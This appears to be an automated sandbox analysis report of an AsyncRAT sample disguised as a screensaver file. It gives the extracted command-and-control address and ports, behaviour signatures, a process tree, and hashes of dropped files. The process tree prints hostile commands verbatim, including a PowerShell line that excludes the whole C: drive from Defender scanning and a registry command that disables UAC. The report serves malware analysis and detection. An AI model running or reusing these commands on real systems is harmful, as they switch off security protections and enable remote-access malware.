Analysis

  • max time kernel
    30s
  • max time network
    33s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/05/2024, 11:35

General

  • Target
    VigilByte Resou_nls..scr
  • Size 362KB
  • Sample240521-np33sscb4v
  • SHA256 138be3a5769af371a332cf9404cca591cd78d594d6a072fa8047e222ac92770e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • OP

C2
  • 20.117.108.240:5612

Mutex
  • HssS7dvHeccj

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • OS

C2
  • 20.117.108.240:7825

Mutex
  • IOr8QBoiV215

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • UAC bypass 3 TTPs 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 2 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\VigilByte Resou_nls..scr
    "C:\Users\Admin\AppData\Local\Temp\VigilByte Resou_nls..scr" /S
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4676
    • C:\ProgramData\sevenZip\7z.exe
      "C:\ProgramData\sevenZip\7z.exe" x "C:\ProgramData\SSLNetwork\goodbyedpi.7z" -o"C:\ProgramData\SSLNetwork" -y
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3596
    • C:\ProgramData\SSLNetwork\goodbyedpi.exe
      "C:\ProgramData\SSLNetwork\goodbyedpi.exe" -5 --dns-addr 77.88.8.8 --dns-port 1253 --dnsv6-addr 2a02:6b8::feed:0ff --dnsv6-port 1253
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2344
    • C:\ProgramData\sevenZip\7z.exe
      "C:\ProgramData\sevenZip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\isyjmt2lbv.7z" -o"C:\Users\Admin\AppData\Local\Temp\isyjmt2lbvhUb" -phR3^&b2%A9!gK*6LqP7t$NpW
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:5104
    • C:\Users\Admin\AppData\Local\Temp\isyjmt2lbvhUb\MicrosoftCorporation.exe
      "C:\Users\Admin\AppData\Local\Temp\isyjmt2lbvhUb\MicrosoftCorporation.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:400
      • C:\Users\Admin\AppData\Local\Temp\isyjmt2lbvhUb\MicrosoftCorporation.exe
        #system32
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4168
        • C:\Windows\SysWOW64\cscript.exe
          "cscript.exe" /B /NoLogo "C:\Users\Public\Videos\b.vbs"
          4⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:5028
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Videos\b.bat" "
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1992
            • C:\Windows\SysWOW64\net.exe
              net session
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2756
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 session
                7⤵
                  PID:2800
              • C:\Users\Public\Videos\Service.exe
                C:\Users\Public\Videos\Service.exe
                6⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of WriteProcessMemory
                PID:2084
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd /c babel.bat
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:684
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    PowerShell -NoProfile -ExecutionPolicy Bypass -Command "$defenderExclusions = Get-MpPreference; $defenderExclusions.ExclusionPath = $defenderExclusions.ExclusionPath + 'C:\'; Set-MpPreference -ExclusionPath $defenderExclusions.ExclusionPath"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4844
                  • C:\Windows\system32\reg.exe
                    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                    8⤵
                    • UAC bypass
                    • Modifies registry key
                    PID:396
          • C:\ProgramData\sevenZip\7z.exe
            "C:\ProgramData\sevenZip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\f3bee459-0484-4925-bc76-81766648dd44.7z" -o"C:\Users\Admin\AppData\Local\Temp\Vf3bee459-0484-4925-bc76-81766648dd44" -pSaToshi780189.!
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:2804
          • C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\aitstatic.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\aitstatic.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:2016
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              #system32
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3756
          • C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\ComSvcConfig.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\ComSvcConfig.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:3536
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              #system32
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1856
          • C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\MicrosoftCertificateServices.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\MicrosoftCertificateServices.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            PID:2064
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              #system32
              5⤵
                PID:840
            • C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\WinSAT.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\WinSAT.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:3608
      • C:\Windows\system32\OpenWith.exe
        C:\Windows\system32\OpenWith.exe -Embedding
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4104
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4088,i,5711962389779687290,1245653010537220991,262144 --variations-seed-version --mojo-platform-channel-handle=4176 /prefetch:8
        1⤵
          PID:3540

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              WinDivert.dll

              • Path C:\ProgramData\SSLNetwork\WinDivert.dll
              • Size 23KB
              • SHA256 a97859785a2df1d4462e7d48d33ccbd89fedd40dac4970f4afd89e63f59ee1ec
              • MD5 SHA1 SHA512 SSDEEP

              goodbyedpi.7z

              • Path C:\ProgramData\SSLNetwork\goodbyedpi.7z
              • Size 66KB
              • SHA256 7d5f9842c34a83780808e990da2eeabbd003a2db7a424de5dda63da6913db603
              • MD5 SHA1 SHA512 SSDEEP

              goodbyedpi.exe

              • Path C:\ProgramData\SSLNetwork\goodbyedpi.exe
              • Size 73KB
              • SHA256 331ac6c1d22ba5a0a217f3f27d0d823051869cafc8b8ef7f2002fa2accebc74e
              • MD5 SHA1 SHA512 SSDEEP

              7z.exe

              • Path C:\ProgramData\sevenZip\7z.exe
              • Size 577KB
              • SHA256 2e2e69b6e3da6d3bb46207d1393d6253e96ecb7dd1c4d6a41ec41a55f1516549
              • MD5 SHA1 SHA512 SSDEEP

              MicrosoftCorporation.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MicrosoftCorporation.exe.log
              • Size 321B
              • SHA256 10c8c7b5fa58f8c6b69f44e92a4e2af111b59fcf4f21a07e04b19e14876ccdf8
              • MD5 SHA1 SHA512

              babel.bat

              • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\babel.bat
              • Size 380B
              • SHA256 f79ea324982a5e2ec73a3a6a7acd13cbfbd83bf28267ee4fec5098e332450730
              • MD5 SHA1 SHA512

              ComSvcConfig.exe

              • Path C:\Users\Admin\AppData\Local\Temp\Vf3bee459-0484-4925-bc76-81766648dd44\ComSvcConfig.exe
              • Size 91KB
              • SHA256 4f9ae5b89c89e5c79c53db694d4d67e2d9b3c47c7389c8c3899dedbc9e92be76
              • MD5 SHA1 SHA512 SSDEEP

              MicrosoftCertificateServices.exe

              • Path C:\Users\Admin\AppData\Local\Temp\Vf3bee459-0484-4925-bc76-81766648dd44\MicrosoftCertificateServices.exe
              • Size 74KB
              • SHA256 9397bbad3a07f7abb3ec75326ba8dc585fd61e7f429b4cc62e238a87737f8b5d
              • MD5 SHA1 SHA512 SSDEEP

              aitstatic.exe

              • Path C:\Users\Admin\AppData\Local\Temp\Vf3bee459-0484-4925-bc76-81766648dd44\aitstatic.exe
              • Size 91KB
              • SHA256 b010fc8a5324e8c3f72bd5884f5f31cbc02dcb9df573cf5a82405560f4927687
              • MD5 SHA1 SHA512 SSDEEP

              __PSScriptPolicyTest_5vcoitvh.d2x.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5vcoitvh.d2x.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              isyjmt2lbv.7z

              • Path C:\Users\Admin\AppData\Local\Temp\isyjmt2lbv.7z
              • Size 1.2MB
              • SHA256 9f8b0a94df65adf17f63f57f61c7d34c925536548c7076f6a13bc53429d54858
              • MD5 SHA1 SHA512 SSDEEP

              MicrosoftCorporation.exe

              • Path C:\Users\Admin\AppData\Local\Temp\isyjmt2lbvhUb\MicrosoftCorporation.exe
              • Size 1.2MB
              • SHA256 c9f5cfba7202db9fde50c885c96b787258358398b8738e4b3954845ef0936866
              • MD5 SHA1 SHA512 SSDEEP

              System.dll

              • Path C:\Users\Admin\AppData\Local\Temp\nss4BAB.tmp\System.dll
              • Size 12KB
              • SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
              • MD5 SHA1 SHA512 SSDEEP

              nsis7z.dll

              • Path C:\Users\Admin\AppData\Local\Temp\nss4BAB.tmp\nsis7z.dll
              • Size 424KB
              • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
              • MD5 SHA1 SHA512 SSDEEP

              Service.exe

              • Path C:\Users\Public\Videos\Service.exe
              • Size 173KB
              • SHA256 8d1a65e6518734cf14f0b301faeb013691e1992596bf190093443c7e01014ddd
              • MD5 SHA1 SHA512 SSDEEP

              b.bat

              • Path C:\Users\Public\Videos\b.bat
              • Size 1KB
              • SHA256 98679e199f231aa012b301bc3b2a678b1ff52a87bc1c59c546183b9f53bc65ed
              • MD5 SHA1 SHA512

              b.vbs

              • Path C:\Users\Public\Videos\b.vbs
              • Size 74B
              • SHA256 98cb3d001dbb0bddf97bba87a645cbea8e8fac569e0fa01c2b68530b9c6412cd
              • MD5 SHA1 SHA512

              memory/400-37-0x0000000005990000-0x0000000005F34000-memory.dmp

              memory/400-36-0x0000000000B20000-0x0000000000C56000-memory.dmp

              memory/840-132-0x0000000005490000-0x0000000005522000-memory.dmp

              memory/840-130-0x0000000000400000-0x000000000040C000-memory.dmp

              memory/1856-117-0x0000000000400000-0x0000000000412000-memory.dmp

              memory/2016-97-0x0000000000600000-0x000000000061E000-memory.dmp

              memory/2064-129-0x0000000000020000-0x0000000000038000-memory.dmp

              memory/2344-133-0x00007FF6AE9F0000-0x00007FF6AEA0B000-memory.dmp

              memory/2344-100-0x00007FF6AE9F0000-0x00007FF6AEA0B000-memory.dmp

              memory/2344-101-0x0000000062800000-0x000000006280D000-memory.dmp

              memory/3536-116-0x0000000000920000-0x000000000093C000-memory.dmp

              memory/3756-104-0x0000000005210000-0x00000000052AC000-memory.dmp

              memory/3756-105-0x0000000005320000-0x0000000005386000-memory.dmp

              memory/3756-98-0x0000000000400000-0x0000000000412000-memory.dmp

              memory/4168-38-0x0000000000400000-0x0000000000528000-memory.dmp

              memory/4676-34-0x0000000075210000-0x00000000759C0000-memory.dmp

              memory/4676-0-0x000000007521E000-0x000000007521F000-memory.dmp

              memory/4676-2-0x0000000075210000-0x00000000759C0000-memory.dmp

              memory/4676-1-0x0000000000010000-0x000000000006C000-memory.dmp

              memory/4844-60-0x000001B1D4CC0000-0x000001B1D4CE2000-memory.dmp